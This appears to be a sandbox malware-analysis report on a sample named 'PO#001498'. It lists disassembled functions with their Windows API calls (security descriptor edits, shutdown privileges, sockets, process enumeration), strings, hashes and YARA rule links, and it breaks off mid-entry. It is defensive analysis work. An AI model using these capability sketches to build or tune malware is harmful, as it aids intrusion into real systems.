                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                        • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                                                                                                                                                        • API String ID: 4115725249-188983378
                                                                                                                                                                                                        • Opcode ID: 03e6ea20781e53ba093b2e4e1cf17e7e885813b4a055a64ca381d3f5bd1a9c3d
                                                                                                                                                                                                        • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 03e6ea20781e53ba093b2e4e1cf17e7e885813b4a055a64ca381d3f5bd1a9c3d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                                                                                                                                                        Function 00434BEE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                                                                                                                                                        • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                                                                                                                                                        • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                                                                                                                                                                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                                                                                                                                                        • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                                                                                                                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 1409584000-438819550
                                                                                                                                                                                                        • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                                                        • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                                                                                                                                                        Function 00444078 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94timesleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Timetime$Sleep
                                                                                                                                                                                                        • String ID: BUTTON
                                                                                                                                                                                                        • API String ID: 4176159691-3405671355
                                                                                                                                                                                                        • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                                                                        • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                                                                                                                                                                                                        Function 00445DD3 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                                                                                                                                          • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                                                                                                                                          • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                                                                                                                                          • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                                                                                                                                        • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00445E61
                                                                                                                                                                                                        • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                                                                                                                                                        • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                                                                                                                                                        • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                                                                                                                                                        • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                                                                                                                                                        • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                                                                                                                                                        • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                                                                                                                                                        • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                                                                                                                                                        • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                                                                                                                                                        • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                                                                                                                                                        • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3490752873-0
                                                                                                                                                                                                        • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                                                                        • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                                                                                                                                                        Function 0047A999 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288comCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • OleInitialize.OLE32(00000000), ref: 0047AA03
                                                                                                                                                                                                        • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                                                                                                                                                                                                        • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                                                                                                                                                                                                        • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0047AB7C
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 0047AC68
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0047ACCD
                                                                                                                                                                                                        • CoCreateInstanceEx.OLE32 ref: 0047AD06
                                                                                                                                                                                                        • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        • NULL Pointer assignment, xrefs: 0047AD84
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                                                                                                                                                                                                        • String ID: NULL Pointer assignment
                                                                                                                                                                                                        • API String ID: 1588287285-2785691316
                                                                                                                                                                                                        • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                                                                        • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                                                                                                                                                        Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                                                                                                                                                        • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                                                                                                                                                        • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                                                                                                                                                        • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                                                                                                                                                        • GetLastError.KERNEL32 ref: 00436504
                                                                                                                                                                                                        • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                                                                                                                                                        • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                                                                                                                                                        • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                                                                                                                                                        • String ID: SeShutdownPrivilege
                                                                                                                                                                                                        • API String ID: 2938487562-3733053543
                                                                                                                                                                                                        • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                                                        • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                                                                                                                                                        Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 00436162
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 00436176
                                                                                                                                                                                                          • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00436185
                                                                                                                                                                                                        • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                                                                                                                                                        • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                                                                                                                                                        • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                                                                                                                                                        • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                                                                                                                                                        • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                                                                                                                                                        • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                                                                                                                                                        • LockResource.KERNEL32(?), ref: 004361FD
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2406429042-0
                                                                                                                                                                                                        • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                                                        • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                                                                                                                                                        Function 0045D517 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                                                                                                                                                                                                        • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                                                                                                                                                                                                        • GetLastError.KERNEL32 ref: 0045D59D
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(?), ref: 0045D629
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Error$Mode$DiskFreeLastSpace
                                                                                                                                                                                                        • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                                                                                                                                        • API String ID: 4194297153-14809454
                                                                                                                                                                                                        • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                                                                        • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                                                                                                                                                                                                        Function 0047AD92 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251comCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                                                                                                                                                          • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                                        • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 0047AE18
                                                                                                                                                                                                        • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                                                                                                                                                        • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                                                                                                                                                                                                        • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 1915432386-2761332787
                                                                                                                                                                                                        • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                                                                        • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                                                                                                                                                        Function 0044ED9A Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 448COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: DEFINE$`$h$h
                                                                                                                                                                                                        • API String ID: 0-4194577831
                                                                                                                                                                                                        • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                                                                        • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                                                                                                                                                                                                        Function 0046483C Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • socket.WSOCK32(00000002,00000001,00000006,?,00000000), ref: 004648B0
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                                                                                                                                                                                                        • bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648DA
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                                                                                                                                                                                                        • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000005,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 0046492D
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLast$bindclosesocketsocket
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2609815416-0
                                                                                                                                                                                                        • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                                                                        • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                                                                                                                                                                                                        Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
